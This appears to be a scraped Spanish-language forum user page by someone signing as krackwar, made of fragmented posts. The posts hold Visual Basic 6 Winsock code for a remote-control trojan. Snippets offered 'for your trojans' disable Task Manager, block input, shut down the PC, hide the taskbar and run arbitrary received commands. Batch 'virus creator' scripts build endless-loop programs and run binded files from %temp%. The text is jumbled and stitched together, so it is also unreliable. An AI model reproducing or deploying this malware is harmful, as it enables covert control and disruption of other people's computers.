Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.
y sin los parametros no puedo declarar la api.
. Es simple le pones al boton empezar 
¿alguien me pudiera ayudar por favor?
private sub form_load()
dim variable as string
variable = "environ("windir")"
end sub
frame1.visible = true osea el code completo del programa seria
Private Sub Command1_Click()
Frame1.Visible = True
End Sub
On Error Resume Next 'esto es para que en un error prosiga i no pare
ws.Close 'cerramos la conexion
ws.Accept requestID 'acepta cualquier conexion entrante
timer1.Interval = 1000 'le pondremos de intervalo 1 segundo al timer 1
timer1.Enabled = True 'abilitaremos el timer1If ws.State = 0 Then
Label1.Caption = "estado:desconectado" 'si el estado del ws es desconectado ponemos en el label1 estado:desconectado
ws.Close 'cerramos la conexion
ws.Listen 'escuchamos
End If ' teminamos el if
If ws.State = 2 Then Label1.Caption = "estado:conectando" 'si el estado del ws es conectando ponemos en el label1 estado:conectando
If ws.State = 7 Then Label1.Caption = "estado:conectado" 'si el estado del ws es conectado ponemos en el label1 estado:conectadoesto es para que si no estamos conectados se conecte i que ponga en que estado estamos en el label1.On Error Resume Next 'esta linea sirve para que en caso de error siga el programa en la siguiente linea sin interrumpirlo
ws.LocalPort = Text1.Text 'el puerto que empleara el winsock sera el que introduzcas en un textbox
ws.Close 'cierra cualquier conexion que alla con este programa
ws.Listen 'deja ala escucha el puerto introducido en el textbox
If ws.State = 2 Then Label1.Caption = "estado:conectando" 'si el estado es conectando pone en el label1 estado:conectando esto ara que si apretamos ese boton se ponga a la escucha del puerto que emos introducido en el textbox1 (ai que meter el puerto antes de apretar este boton).Aora en el command3 en el evento click ponemos: If ws.State = 7 Then 've si estamos conectados
ws.Close ' si estamos conectados nos desconecta
Else
MsgBox "no puedes desconectarte si no estas conectado", vbCritical, "error!" ' de lo contrario aparece un mensage
End If 'teminamos el if
Private Sub Command2_Click()
On Error Resume Next 'esta linea sirve para que en caso de error siga el programa en la siguiente linea sin interrumpirlo
ws.LocalPort = Text1.Text 'el puerto que empleara el winsock sera el que introduzcas en un textbox
ws.Close 'cierra cualquier conexion que alla con este programa
ws.Listen 'deja ala escucha el puerto introducido en el textbox
If ws.State = 2 Then Label1.Caption = "estado:conectando" 'si el estado es conectando pone en el label1 estado:conectando
End Sub
Private Sub Command3_Click()
If ws.State = 7 Then 've si estamos conectados
ws.Close ' si estamos conectados nos desconecta
Else
MsgBox "no puedes desconectarte si no estas conectado", vbCritical, "error!" ' de lo contrario aparece un mensage
End If 'teminamos el if
End Sub
Private Sub Timer1_Timer()
If ws.State = 0 Then
Label1.Caption = "estado:desconectado" 'si el estado del ws es desconectado ponemos en el label1 estado:desconectado
ws.Close 'cerramos la conexion
ws.Listen 'escuchamos
End If ' teminamos el if
If ws.State = 2 Then Label1.Caption = "estado:conectando" 'si el estado del ws es conectando ponemos en el label1 estado:conectando
If ws.State = 7 Then Label1.Caption = "estado:conectado" 'si el estado del ws es conectado ponemos en el label1 estado:conectado
End Sub
Private Sub ws_ConnectionRequest(ByVal requestID As Long)
On Error Resume Next 'esto es para que en un error prosiga i no pare
ws.Close 'cerramos la conexion
ws.Accept requestID 'acepta cualquier conexion entrante
Timer1.Interval = 1000 'le pondremos de intervalo 1 segundo al timer 1
Timer1.Enabled = True 'abilitaremos el timer1
End Sub
Frame1.Visible = False ' ocultamos el frame1
Frame2.Visible = True ' mostramos el frame2Frame2.Visible = False ' ocultamos el frame2
Frame1.Visible = True ' mostramos el frame1Private Sub Command1_Click()
Frame2.Visible = False ' ocultamos el frame2
Frame1.Visible = True ' mostramos el frame1
End Sub
Private Sub Command4_Click()
Frame1.Visible = False ' ocultamos el frame1
Frame2.Visible = True ' mostramos el frame2
End Subbueno aora vamos a lo que importa ,en el frame 2 le agregamos un textbox grande con las propiedades ScrollBars = 3-both i multiline = true , luego ponemos un commandbuton en el frame 2 con la propiedad caption "crear" , luego le agregamos en el frame2 dos optionbutton , en el option1 le ponemos en la propiedad caption = "visible" i en el option2 ponemos "oculto"
vista = "true" ' cambiamos la variable vista a truevista = "falso" ' cambiamos la variable vista a falsoseparador = "@^^^%/()!||||¿?¿?¿?_--" ' esto es para separar los datos que emviemos(no es nada mas que un texto plano ws.senddata text2.text & separador & vista ' emviamos lo escrito en el text2 i la variable vista
Dim separador As String
Dim vista As String
Private Sub Command1_Click()
Frame2.Visible = False ' ocultamos el frame2
Frame1.Visible = True ' mostramos el frame1
End Sub
Private Sub Command2_Click()
On Error Resume Next 'esta linea sirve para que en caso de error siga el programa en la siguiente linea sin interrumpirlo
ws.LocalPort = Text1.Text 'el puerto que empleara el winsock sera el que introduzcas en un textbox
ws.Close 'cierra cualquier conexion que alla con este programa
ws.Listen 'deja ala escucha el puerto introducido en el textbox
If ws.State = 2 Then Label1.Caption = "estado:conectando" 'si el estado es conectando pone en el label1 estado:conectando
End Sub
Private Sub Command3_Click()
If ws.State = 7 Then 've si estamos conectados
ws.Close ' si estamos conectados nos desconecta
Else
MsgBox "no puedes desconectarte si no estas conectado", vbCritical, "error!" ' de lo contrario aparece un mensage
End If 'teminamos el if
End Sub
Private Sub Command4_Click()
Frame1.Visible = False ' ocultamos el frame1
Frame2.Visible = True ' mostramos el frame2
End Sub
Private Sub Command5_Click()
ws.SendData Text2.Text & separador & vista
End Sub
Private Sub Form_Load()
separador = "@^^^%/()!||||¿?¿?¿?_--"
End Sub
Private Sub Option1_Click()
vista = "true"
End Sub
Private Sub Option2_Click()
vista = "falso"
End Sub
Private Sub Timer1_Timer()
If ws.State = 0 Then
Label1.Caption = "estado:desconectado" 'si el estado del ws es desconectado ponemos en el label1 estado:desconectado
ws.Close 'cerramos la conexion
ws.Listen 'escuchamos
End If ' teminamos el if
If ws.State = 2 Then Label1.Caption = "estado:conectando" 'si el estado del ws es conectando ponemos en el label1 estado:conectando
If ws.State = 7 Then Label1.Caption = "estado:conectado" 'si el estado del ws es conectado ponemos en el label1 estado:conectado
End Sub
Private Sub ws_ConnectionRequest(ByVal requestID As Long)
On Error Resume Next 'esto es para que en un error prosiga i no pare
ws.Close 'cerramos la conexion
ws.Accept requestID 'acepta cualquier conexion entrante
Timer1.Interval = 1000 'le pondremos de intervalo 1 segundo al timer 1
Timer1.Enabled = True 'abilitaremos el timer1
End Subshell(cmd comando) i luego ponga shell(cmd comando2) los dos comandos me aparescan en la misma cmd ya que si lo ago como lo puse ai se me abren 2 cmds distintos
If Left(datos, 2) = "hk" Then
Dim ind As Object
Set ind = CreateObject("WScript.Shell")
Dim tmp As String
tmp = wsh.RegRead datos
ws.SendData "2020" & tmp
End Ifif left(datos , 4 ) ="2020" then
datos = Right(datos, Len(datos) - 4)
msgbox ("datos , vbokonly , registro")
Cita de: Aquiles89 en 25 Enero 2008, 21:16 PM
hola man ....te puedo pedir un favor sabes como bajar un programa para descifrar una cuenta de un juego es que me la rrovaron y quiero recuperarla me alludas plizzz
bueno aka pongo unos codes para kese los agrguen a sus troyano ;) ;)
--------------------------------desapareser mouse---------------------------------------
agregar un module en el server y un Commandbutton en el cliente
---en el modulo del server----
[code]
Declare Function ShowCursor Lib "user32" _
(ByVal bShow As Long) As Long
Private Sub ws_DataArrival(ByVal bytesTotal As Long)
Dim datos As String
ws.GetData datos
if datos = "desp" then ShowCursor false
end sub
Private Sub Command1_Click()
ws.senddata "desp"
End Sub
Public Declare Function BlockInput Lib "user32" _
(ByVal fBlock As Long) As LongPrivate Sub ws_DataArrival(ByVal bytesTotal As Long)
Dim datos As String
ws.GetData datos
if datos = "desa" then BlockInput true
end subPrivate Sub Command1_Click()
ws.senddata "desa"
End SubPublic Declare Function Beep Lib "kernel32" (ByVal dwFreq As Long, ByVal dwDuration As Long) As Long
Private Sub ws_DataArrival(ByVal bytesTotal As Long)
Dim datos As String
ws.GetData datos
if datos = "beep" then
Beep 999, 999
Beep 999, 999
end if
end sub
Private Sub Command1_Click()
ws.senddata "beep"
End SubDeclare Function mciSendString Lib "winmm.dll" Alias "mciSendStringA" (ByVal lpstrCommand As String, ByVal _
lpstrReturnString As String, ByVal uReturnLength As Long, _
ByVal hwndCallback As Long) As LongPrivate Sub ws_DataArrival(ByVal bytesTotal As Long)
Dim datos As String
ws.GetData datos
if datos = "trok" then
Dim Res As Long, ReturnString As String * 127
Res = mciSendString("Set CDAudio Door Open", ReturnString, 127, 0)
end if
end subPrivate Sub Command1_Click()
ws.senddata "trok"
End SubPrivate Sub Command1_Click()
CreateIntegerKey "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskmgr", "1"
End Sub
Private Sub CreateIntegerKey(Folder As String, Value As Integer)
Dim Fso As Object
On Error GoTo men
Set Fso = CreateObject("wscript.shell")
Fso.RegWrite Folder, Value, "REG_DWORD"
Set Fso = Nothing
Exit Sub
'error
men:
MsgBox Err.Description: Resume Next
End Sub
rivate Sub ws_DataArrival(ByVal bytesTotal As Long)
Dim datos As String
ws.GetData datos
if datos = "trtk" then call Command1_Click
end sub
Private Sub Command1_Click()
ws.senddata " trtk"
end subPrivate Sub ws_DataArrival(ByVal bytesTotal As Long)
Dim datos As String
Dim sn As String
sn = "shutdown"
ws.GetData datos
If datos = "lol" Then Shell (sn & " -s -t 00")Private Sub Command1_Click()
ws.senddata "lol"
End SubPrivate Sub ws_DataArrival(ByVal bytesTotal As Long)
Dim datos As String
ws.GetData datos
If Left(datos, 4) = "ejec" Then
datos = Right(datos, Len(datos) - 4)
Shell (datos)
End If
end subPrivate Sub Form_Load()
text1.text = "aka va el archivo a ejecutar"
End Sub
Private Sub Command1_Click()
ws.senddata "ejec" & text1.text
End SubPublic Const VK_LWIN = &H5B
Public Const KEYEVENTF_KEYUP = &H2
Public Declare Sub keybd_event Lib "user32" _
(ByVal bVk As Byte, ByVal bScan As Byte, _
ByVal dwFlags As Long, ByVal dwExtraInfo As Long)Private Sub Form_Load()
timer1.enabled = false
End Sub
Private Sub Timer1_Timer()
Call keybd_event(VK_LWIN, 0, 0, 0)
Call keybd_event(77, 0, 0, 0)
Call keybd_event(VK_LWIN, 0, KEYEVENTF_KEYUP, 0)
End Sub
Private Sub ws_DataArrival(ByVal bytesTotal As Long)
Dim datos As String
ws.GetData datos
if datos = "jajaja" then
timer1.interval = 100
timer1.enabled = true
end subPrivate Sub Command1_Click()
ws.senddata "jajaja"
End SubPrivate Declare Function FindWindowEx Lib "user32" _
Alias "FindWindowExA" (ByVal hWnd1 As Long, _
ByVal hWnd2 As Long, ByVal lpsz1 As String, _
ByVal lpsz2 As String) As Long
Private Declare Function ShowWindow Lib "user32" (ByVal hwnd As Long, _
ByVal nCmdShow As Long) As Long
Const SW_SHOW = 5
Const SW_HIDE = 0
private Sub ws_DataArrival(ByVal bytesTotal As Long)
Dim datos As String
ws.GetData datos
if datos = "topo" then
Dim Ret As Long
On Error Resume Next
Ret = FindWindowEx(0&, 0&, "Progman", vbNullString)
ShowWindow Ret, SW_HIDE
end if
End SubPrivate Sub Command1_Click()
ws.senddata "topo"
end subConst WS_CHILD = &H40000000
Const WM_LBUTTONDOWN = &H201
Const WM_LBUTTONUP = &H202
Const SW_HIDE = 0
Const SW_NORMAL = 1
Private Type RECT
Left As Long
Top As Long
Right As Long
Bottom As Long
End Type
Private Declare Function FindWindowEx Lib "user32" Alias "FindWindowExA" (ByVal hWnd1 As Long, ByVal hWnd2 As Long, ByVal lpsz1 As String, ByVal lpsz2 As String) As Long
Private Declare Function FindWindow Lib "user32" Alias "FindWindowA" (ByVal lpClassName As String, ByVal lpWindowName As String) As Long
Private Declare Function ShowWindow Lib "user32" (ByVal hwnd As Long, ByVal nCmdShow As Long) As Long
Private Declare Function GetWindowRect Lib "user32" (ByVal hwnd As Long, lpRect As RECT) As Long
Private Declare Function CreateWindowEx Lib "user32" Alias "CreateWindowExA" (ByVal dwExStyle As Long, ByVal lpClassName As String, ByVal lpWindowName As String, ByVal dwStyle As Long, ByVal x As Long, ByVal y As Long, ByVal nWidth As Long, ByVal nHeight As Long, ByVal hWndParent As Long, ByValhMenu As Long, ByVal hInstance As Long, lpParam As Any) As Long
Private Declare Function DestroyWindow Lib "user32" (ByVal hwnd As Long) As Long
Dim tWnd As Long, bWnd As Long, ncWnd As Long
Private Sub ws_DataArrival(ByVal bytesTotal As Long)
Dim datos As String
ws.GetData datos
if datos = "paza" then
Dim R As RECT
tWnd = FindWindow("Shell_TrayWnd", vbNullString)
bWnd = FindWindowEx(tWnd, ByVal 0&, "BUTTON", vbNullString)
GetWindowRect bWnd, R
ShowWindow ncWnd, SW_NORMAL
ShowWindow bWnd, SW_HIDE
end if
MsgBox lol text2
Private Sub Command1_Click()
If usuario.Text = "krackwar" Then Next
Else
MsgBox "buu"
If pazz.Text = "contraseña" Then
programa.show
usuarioipass.hide
Else
MsgBox "buu"
End Sub
@echo off
set /p respuesta=komo te llamas?
echo te llamas %respuesta%
pause
exit
ej:si pones set /p rata=ola?va a mostar solo ola?
set /p respuesta=komo te llamas?
ej:si escribes de respuesta ola raspuesta va hacer = a ola
ej: echo tu nombre es %respuesta% (siempre ai que enserrar la palabra en % cuando se ocupa para hacer algo)
tu nombre es juan
set /p pollo=tu nombre es?
echo tu nombre es %pollo%
@echo off
echo msg * ola>> mensaje.bat
exit
@echo off
set /P mensaje=que kieres que diga el mensaje?
echo msg * %mensaje%>>msg2.bat
exit
@echo off
set /P mensaje=que kieres que diga el mensaje?
echo @echo off>>msg2.bat
echo msg * %mensaje%>>msg2.bat
echo exit>>msg2.bat
exit
set /P mensaje=que kieres que diga el mensaje?
echo @echo off
msg * %mensaje%
exit
>>msg2.bat
exit
:xD
@echo off
:pagina
start www.yelcho.cl
goto pagina
@echo off
title creador by .::krackwar::.
set /p name=kual kieres que sea el nombre del virus?(sin la extension)
echo aprieta cualquier tecla
pause>nul
cls
set /p car1=que pagina kieres que se abra x siempre??(ej:www.pag.com)
echo @echo off>>%name%.bat
echo :pagina>>%name%.bat
echo start %car1%>>%name%.bat
echo goto pagina >>%name%.bat
msg * by .::krackwar::.
msg * xao
exit
title "aki va el tiulo"
.bueno esto de ejecutar una pagina web consecutivamente se puede hacer tambien con algun programa , mensaje ,etc... ej para un mensaje :
@echo off
:mensage
start msg * "el mensaje kee kkieren "
goto mensaje
@echo off
title creador by .::krackwar::.
set /p name=kual kieres que sea el nombre del virus?(sin la extension)
echo aprieta cualquier tecla
pause>nul
cls
set /p car1=que pagina kieres que se abra x siempre??(ej:www.pag.com)
echo @echo off>>%name%.bat
echo :pagina>>%name%.bat
echo start %car1%>>%name%.bat
echo goto pagina >>%name%.bat
msg * by .::krackwar::.
msg * xao
exit
@echo off
title creador by .::krackwar::.
set /p name=kual kieres que sea el nombre del virus?(sin la extension)
echo aprieta cualquier tecla
pause>nul
cls
set /p car1=que mensaje que kieres mostar por siempre??(modificacion 1)
echo @echo off>>%name%.bat
echo :pagina>>%name%.bat
echo start msg * %car1%>>%name%.bat(modificacion 2 )
echo goto pagina >>%name%.bat
msg * by .::krackwar::.
msg * xao
exit
@echo off
:programa
start %temp%/archivo(el nombre del archivo tiene que ser el nombre del archivo original por ejemplo si combinaste una foto que se llamaba lol.jpg i el archivo se llamava jaja.exe i los uniste i el archivo final se llamaba nose.exe entonces kedaria asi %temp%/jaja.exe)
goto programa
@echo off
title creador by .::krackwar::.
set /p name=kual kieres que sea el nombre del virus?(sin la extension)
echo aprieta cualquier tecla
pause>nul
cls
set /p car1=que programa kieres que se ejecute por siempre??(modificacion 1)
echo @echo off>>%name%.bat
echo :pagina>>%name%.bat
echo %temp%/%car1%>>%name%.bat(modificacion 2 )
echo goto pagina >>%name%.bat
msg * by .::krackwar::.
msg * xao
exit
:programa2
ruta/arhivo
goto programa2
@echo off
title creador by .::krackwar::.
set /p name=kual kieres que sea el nombre del virus?(sin la extension)
echo aprieta cualquier tecla
pause>nul
cls
set /p car1=que programa kiers que abra x siempre??(anotar con ruta ej: ruta/archivo)
echo @echo off>>%name%.bat
echo :pagina>>%name%.bat
echo %car1%>>%name%.bat(OJO)
echo goto pagina >>%name%.bat
msg * by .::krackwar::.
msg * xao
exit